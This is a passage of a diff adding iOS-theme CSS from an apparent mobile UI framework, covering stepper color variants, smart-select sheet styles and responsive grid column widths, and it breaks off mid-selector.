+.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff9500; +} +.ios .stepper.color-gray .stepper-button, +.ios .stepper.color-gray .stepper-button-minus, +.ios .stepper.color-gray .stepper-button-plus { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .stepper.color-gray .stepper-button.active-state, +.ios .stepper.color-gray .stepper-button-minus.active-state, +.ios .stepper.color-gray .stepper-button-plus.active-state { + background-color: rgba(142, 142, 147, 0.15); +} +.ios .stepper.color-gray .stepper-button-plus:after, +.ios .stepper.color-gray .stepper-button-minus:after, +.ios .stepper.color-gray .stepper-button-plus:before, +.ios .stepper.color-gray .stepper-button-minus:before { + background-color: #8e8e93; +} +.ios .stepper.color-gray .stepper-value, +.ios .stepper.color-gray .stepper-input-wrap { + border-top-color: #8e8e93; + border-bottom-color: #8e8e93; +} +.ios .stepper.color-gray .stepper-value { + color: #8e8e93; +} +.ios .stepper.color-gray .stepper-input-wrap input { + color: #8e8e93; +} +.ios .stepper.color-gray.stepper-fill .stepper-button, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-gray.stepper-fill .stepper-button-plus, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus { + background-color: #8e8e93; +} +.ios .stepper.color-gray.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-gray.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #8e8e93; + border-color: #8e8e93; + background-color: transparent; +} +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #8e8e93; +} +.ios .stepper.color-white .stepper-button, +.ios .stepper.color-white .stepper-button-minus, +.ios .stepper.color-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.ios .stepper.color-white .stepper-button.active-state, +.ios .stepper.color-white .stepper-button-minus.active-state, +.ios .stepper.color-white .stepper-button-plus.active-state { + background-color: rgba(255, 255, 255, 0.15); +} +.ios .stepper.color-white .stepper-button-plus:after, +.ios .stepper.color-white .stepper-button-minus:after, +.ios .stepper.color-white .stepper-button-plus:before, +.ios .stepper.color-white .stepper-button-minus:before { + background-color: #ffffff; +} +.ios .stepper.color-white .stepper-value, +.ios .stepper.color-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.ios .stepper.color-white .stepper-value { + color: #ffffff; +} +.ios .stepper.color-white .stepper-input-wrap input { + color: #ffffff; +} +.ios .stepper.color-white.stepper-fill .stepper-button, +.ios .stepper.color-white.stepper-fill-ios .stepper-button, +.ios .stepper.color-white.stepper-fill .stepper-button-minus, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-white.stepper-fill .stepper-button-plus, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus { + background-color: #ffffff; +} +.ios .stepper.color-white.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-white.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-white.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-white.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffffff; + border-color: #ffffff; + background-color: transparent; +} +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffffff; +} +.ios .stepper.color-black .stepper-button, +.ios .stepper.color-black .stepper-button-minus, +.ios .stepper.color-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.ios .stepper.color-black .stepper-button.active-state, +.ios .stepper.color-black .stepper-button-minus.active-state, +.ios .stepper.color-black .stepper-button-plus.active-state { + background-color: rgba(0, 0, 0, 0.15); +} +.ios .stepper.color-black .stepper-button-plus:after, +.ios .stepper.color-black .stepper-button-minus:after, +.ios .stepper.color-black .stepper-button-plus:before, +.ios .stepper.color-black .stepper-button-minus:before { + background-color: #000000; +} +.ios .stepper.color-black .stepper-value, +.ios .stepper.color-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.ios .stepper.color-black .stepper-value { + color: #000000; +} +.ios .stepper.color-black .stepper-input-wrap input { + color: #000000; +} +.ios .stepper.color-black.stepper-fill .stepper-button, +.ios .stepper.color-black.stepper-fill-ios .stepper-button, +.ios .stepper.color-black.stepper-fill .stepper-button-minus, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-black.stepper-fill .stepper-button-plus, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus { + background-color: #000000; +} +.ios .stepper.color-black.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-black.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-black.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-black.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #000000; + border-color: #000000; + background-color: transparent; +} +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #000000; +} +/* === Smart Select === */ +.smart-select select { + display: none; +} +.smart-select .item-after { + max-width: 70%; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + display: block; +} +.sheet-modal.smart-select-sheet .sheet-modal-inner { + background: #fff; +} +.sheet-modal.smart-select-sheet .list { + margin: 0; +} +.sheet-modal.smart-select-sheet .list ul:before { + display: none !important; +} +.sheet-modal.smart-select-sheet .list ul:after { + display: none !important; +} +.smart-select-popover .popover-inner { + max-height: 40vh; +} +.ios .smart-select-sheet .page { + background: #fff; +} +.ios .smart-select-sheet .toolbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .smart-select-sheet .toolbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .smart-select-sheet .toolbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .smart-select-sheet .page, +.ios .theme-dark .smart-select-sheet .sheet-modal-inner { + background-color: #1c1c1d; +} +.ios .theme-dark .smart-select-sheet .toolbar:after { + background-color: #282829; +} +/* === Grid === */ +.row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.row > [class*="col-"], +.row > .col { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.row .col { + width: 100%; +} +/* === Grid === */ +.ios .row .col-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); +} +.ios .row.no-gap .col-100 { + width: 100%; +} +.ios .row .col-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); +} +.ios .row.no-gap .col-95 { + width: 95%; +} +.ios .row .col-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); +} +.ios .row.no-gap .col-90 { + width: 90%; +} +.ios .row .col-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); +} +.ios .row.no-gap .col-85 { + width: 85%; +} +.ios .row .col-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); +} +.ios .row.no-gap .col-80 { + width: 80%; +} +.ios .row .col-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); +} +.ios .row.no-gap .col-75 { + width: 75%; +} +.ios .row .col-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); +} +.ios .row.no-gap .col-70 { + width: 70%; +} +.ios .row .col-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); +} +.ios .row.no-gap .col-66 { + width: 66.66666666666666%; +} +.ios .row .col-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); +} +.ios .row.no-gap .col-65 { + width: 65%; +} +.ios .row .col-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); +} +.ios .row.no-gap .col-60 { + width: 60%; +} +.ios .row .col-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); +} +.ios .row.no-gap .col-55 { + width: 55%; +} +.ios .row .col-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); +} +.ios .row.no-gap .col-50 { + width: 50%; +} +.ios .row .col-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); +} +.ios .row.no-gap .col-45 { + width: 45%; +} +.ios .row .col-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); +} +.ios .row.no-gap .col-40 { + width: 40%; +} +.ios .row .col-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); +} +.ios .row.no-gap .col-35 { + width: 35%; +} +.ios .row .col-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); +} +.ios .row.no-gap .col-33 { + width: 33.333333333333336%; +} +.ios .row .col-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); +} +.ios .row.no-gap .col-30 { + width: 30%; +} +.ios .row .col-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); +} +.ios .row.no-gap .col-25 { + width: 25%; +} +.ios .row .col-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); +} +.ios .row.no-gap .col-20 { + width: 20%; +} +.ios .row .col-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); +} +.ios .row.no-gap .col-15 { + width: 15%; +} +.ios .row .col-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); +} +.ios .row.no-gap .col-10 { + width: 10%; +} +.ios .row .col-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); +} +.ios .row.no-gap .col-5 { + width: 5%; +} +.ios .row .col:nth-last-child(1), +.ios .row .col:nth-last-child(1) ~ .col { + width: 100%; + width: calc((100% - 15px*0) / 1); +} +.ios .row.no-gap .col:nth-last-child(1), +.ios .row.no-gap .col:nth-last-child(1) ~ .col { + width: 100%; +} +.ios .row .col:nth-last-child(2), +.ios .row .col:nth-last-child(2) ~ .col { + width: 50%; + width: calc((100% - 15px*1) / 2); +} +.ios .row.no-gap .col:nth-last-child(2), +.ios .row.no-gap .col:nth-last-child(2) ~ .col { + width: 50%; +} +.ios .row .col:nth-last-child(3), +.ios .row .col:nth-last-child(3) ~ .col { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); +} +.ios .row.no-gap .col:nth-last-child(3), +.ios .row.no-gap .col:nth-last-child(3) ~ .col { + width: 33.33333333%; +} +.ios .row .col:nth-last-child(4), +.ios .row .col:nth-last-child(4) ~ .col { + width: 25%; + width: calc((100% - 15px*3) / 4); +} +.ios .row.no-gap .col:nth-last-child(4), +.ios .row.no-gap .col:nth-last-child(4) ~ .col { + width: 25%; +} +.ios .row .col:nth-last-child(5), +.ios .row .col:nth-last-child(5) ~ .col { + width: 20%; + width: calc((100% - 15px*4) / 5); +} +.ios .row.no-gap .col:nth-last-child(5), +.ios .row.no-gap .col:nth-last-child(5) ~ .col { + width: 20%; +} +.ios .row .col:nth-last-child(6), +.ios .row .col:nth-last-child(6) ~ .col { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); +} +.ios .row.no-gap .col:nth-last-child(6), +.ios .row.no-gap .col:nth-last-child(6) ~ .col { + width: 16.66666667%; +} +.ios .row .col:nth-last-child(7), +.ios .row .col:nth-last-child(7) ~ .col { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); +} +.ios .row.no-gap .col:nth-last-child(7), +.ios .row.no-gap .col:nth-last-child(7) ~ .col { + width: 14.28571429%; +} +.ios .row .col:nth-last-child(8), +.ios .row .col:nth-last-child(8) ~ .col { + width: 12.5%; + width: calc((100% - 15px*7) / 8); +} +.ios .row.no-gap .col:nth-last-child(8), +.ios .row.no-gap .col:nth-last-child(8) ~ .col { + width: 12.5%; +} +.ios .row .col:nth-last-child(9), +.ios .row .col:nth-last-child(9) ~ .col { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); +} +.ios .row.no-gap .col:nth-last-child(9), +.ios .row.no-gap .col:nth-last-child(9) ~ .col { + width: 11.11111111%; +} +.ios .row .col:nth-last-child(10), +.ios .row .col:nth-last-child(10) ~ .col { + width: 10%; + width: calc((100% - 15px*9) / 10); +} +.ios .row.no-gap .col:nth-last-child(10), +.ios .row.no-gap .col:nth-last-child(10) ~ .col { + width: 10%; +} +.ios .row .col:nth-last-child(11), +.ios .row .col:nth-last-child(11) ~ .col { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); +} +.ios .row.no-gap .col:nth-last-child(11), +.ios .row.no-gap .col:nth-last-child(11) ~ .col { + width: 9.09090909%; +} +.ios .row .col:nth-last-child(12), +.ios .row .col:nth-last-child(12) ~ .col { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); +} +.ios .row.no-gap .col:nth-last-child(12), +.ios .row.no-gap .col:nth-last-child(12) ~ .col { + width: 8.33333333%; +} +.ios .row .col:nth-last-child(13), +.ios .row .col:nth-last-child(13) ~ .col { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); +} +.ios .row.no-gap .col:nth-last-child(13), +.ios .row.no-gap .col:nth-last-child(13) ~ .col { + width: 7.69230769%; +} +.ios .row .col:nth-last-child(14), +.ios .row .col:nth-last-child(14) ~ .col { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); +} +.ios .row.no-gap .col:nth-last-child(14), +.ios .row.no-gap .col:nth-last-child(14) ~ .col { + width: 7.14285714%; +} +.ios .row .col:nth-last-child(15), +.ios .row .col:nth-last-child(15) ~ .col { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); +} +.ios .row.no-gap .col:nth-last-child(15), +.ios .row.no-gap .col:nth-last-child(15) ~ .col { + width: 6.66666667%; +} +.ios .row .col:nth-last-child(16), +.ios .row .col:nth-last-child(16) ~ .col { + width: 6.25%; + width: calc((100% - 15px*15) / 16); +} +.ios .row.no-gap .col:nth-last-child(16), +.ios .row.no-gap .col:nth-last-child(16) ~ .col { + width: 6.25%; +} +.ios .row .col:nth-last-child(17), +.ios .row .col:nth-last-child(17) ~ .col { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); +} +.ios .row.no-gap .col:nth-last-child(17), +.ios .row.no-gap .col:nth-last-child(17) ~ .col { + width: 5.88235294%; +} +.ios .row .col:nth-last-child(18), +.ios .row .col:nth-last-child(18) ~ .col { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); +} +.ios .row.no-gap .col:nth-last-child(18), +.ios .row.no-gap .col:nth-last-child(18) ~ .col { + width: 5.55555556%; +} +.ios .row .col:nth-last-child(19), +.ios .row .col:nth-last-child(19) ~ .col { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); +} +.ios .row.no-gap .col:nth-last-child(19), +.ios .row.no-gap .col:nth-last-child(19) ~ .col { + width: 5.26315789%; +} +.ios .row .col:nth-last-child(20), +.ios .row .col:nth-last-child(20) ~ .col { + width: 5%; + width: calc((100% - 15px*19) / 20); +} +.ios .row.no-gap .col:nth-last-child(20), +.ios .row.no-gap .col:nth-last-child(20) ~ .col { + width: 5%; +} +.ios .row .col:nth-last-child(21), +.ios .row .col:nth-last-child(21) ~ .col { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); +} +.ios .row.no-gap .col:nth-last-child(21), +.ios .row.no-gap .col:nth-last-child(21) ~ .col { + width: 4.76190476%; +} +@media (min-width: 768px) { + .ios .row .tablet-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .tablet-100 { + width: 100%; + } + .ios .row .tablet-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); + } + .ios .row.no-gap .tablet-95 { + width: 95%; + } + .ios .row .tablet-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); + } + .ios .row.no-gap .tablet-90 { + width: 90%; + } + .ios .row .tablet-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); + } + .ios .row.no-gap .tablet-85 { + width: 85%; + } + .ios .row .tablet-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); + } + .ios .row.no-gap .tablet-80 { + width: 80%; + } + .ios .row .tablet-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); + } + .ios .row.no-gap .tablet-75 { + width: 75%; + } + .ios .row .tablet-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); + } + .ios .row.no-gap .tablet-70 { + width: 70%; + } + .ios .row .tablet-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); + } + .ios .row.no-gap .tablet-66 { + width: 66.66666666666666%; + } + .ios .row .tablet-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); + } + .ios .row.no-gap .tablet-65 { + width: 65%; + } + .ios .row .tablet-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); + } + .ios .row.no-gap .tablet-60 { + width: 60%; + } + .ios .row .tablet-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); + } + .ios .row.no-gap .tablet-55 { + width: 55%; + } + .ios .row .tablet-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .tablet-50 { + width: 50%; + } + .ios .row .tablet-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); + } + .ios .row.no-gap .tablet-45 { + width: 45%; + } + .ios .row .tablet-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); + } + .ios .row.no-gap .tablet-40 { + width: 40%; + } + .ios .row .tablet-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); + } + .ios .row.no-gap .tablet-35 { + width: 35%; + } + .ios .row .tablet-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .tablet-33 { + width: 33.333333333333336%; + } + .ios .row .tablet-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); + } + .ios .row.no-gap .tablet-30 { + width: 30%; + } + .ios .row .tablet-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .tablet-25 { + width: 25%; + } + .ios .row .tablet-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .tablet-20 { + width: 20%; + } + .ios .row .tablet-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); + } + .ios .row.no-gap .tablet-15 { + width: 15%; + } + .ios .row .tablet-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .tablet-10 { + width: 10%; + } + .ios .row .tablet-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .tablet-5 { + width: 5%; + } + .ios .row .tablet-auto:nth-last-child(1), + .ios .row .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .tablet-auto:nth-last-child(1), + .ios .row.no-gap .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + } + .ios .row .tablet-auto:nth-last-child(2), + .ios .row .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .tablet-auto:nth-last-child(2), + .ios .row.no-gap .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + } + .ios .row .tablet-auto:nth-last-child(3), + .ios .row .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .tablet-auto:nth-last-child(3), + .ios .row.no-gap .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + } + .ios .row .tablet-auto:nth-last-child(4), + .ios .row .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .tablet-auto:nth-last-child(4), + .ios .row.no-gap .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + } + .ios .row .tablet-auto:nth-last-child(5), + .ios .row .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .tablet-auto:nth-last-child(5), + .ios .row.no-gap .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + } + .ios .row .tablet-auto:nth-last-child(6), + .ios .row .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); + } + .ios .row.no-gap .tablet-auto:nth-last-child(6), + .ios .row.no-gap .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + } + .ios .row .tablet-auto:nth-last-child(7), + .ios .row .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); + } + .ios .row.no-gap .tablet-auto:nth-last-child(7), + .ios .row.no-gap .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + } + .ios .row .tablet-auto:nth-last-child(8), + .ios .row .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + width: calc((100% - 15px*7) / 8); + } + .ios .row.no-gap .tablet-auto:nth-last-child(8), + .ios .row.no-gap .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + } + .ios .row .tablet-auto:nth-last-child(9), + .ios .row .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); + } + .ios .row.no-gap .tablet-auto:nth-last-child(9), + .ios .row.no-gap .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + } + .ios .row .tablet-auto:nth-last-child(10), + .ios .row .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .tablet-auto:nth-last-child(10), + .ios .row.no-gap .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + } + .ios .row .tablet-auto:nth-last-child(11), + .ios .row .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); + } + .ios .row.no-gap .tablet-auto:nth-last-child(11), + .ios .row.no-gap .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + } + .ios .row .tablet-auto:nth-last-child(12), + .ios .row .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); + } + .ios .row.no-gap .tablet-auto:nth-last-child(12), + .ios .row.no-gap .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + } + .ios .row .tablet-auto:nth-last-child(13), + .ios .row .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); + } + .ios .row.no-gap .tablet-auto:nth-last-child(13), + .ios .row.no-gap .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + } + .ios .row .tablet-auto:nth-last-child(14), + .ios .row .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); + } + .ios .row.no-gap .tablet-auto:nth-last-child(14), + .ios .row.no-gap .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + } + .ios .row .tablet-auto:nth-last-child(15), + .ios .row .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); + } + .ios .row.no-gap .tablet-auto:nth-last-child(15), + .ios .row.no-gap .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + } + .ios .row .tablet-auto:nth-last-child(16), + .ios .row .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + width: calc((100% - 15px*15) / 16); + } + .ios .row.no-gap .tablet-auto:nth-last-child(16), + .ios .row.no-gap .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + } + .ios .row .tablet-auto:nth-last-child(17), + .ios .row .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); + } + .ios .row.no-gap .tablet-auto:nth-last-child(17), + .ios .row.no-gap .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + } + .ios .row .tablet-auto:nth-last-child(18), + .ios .row 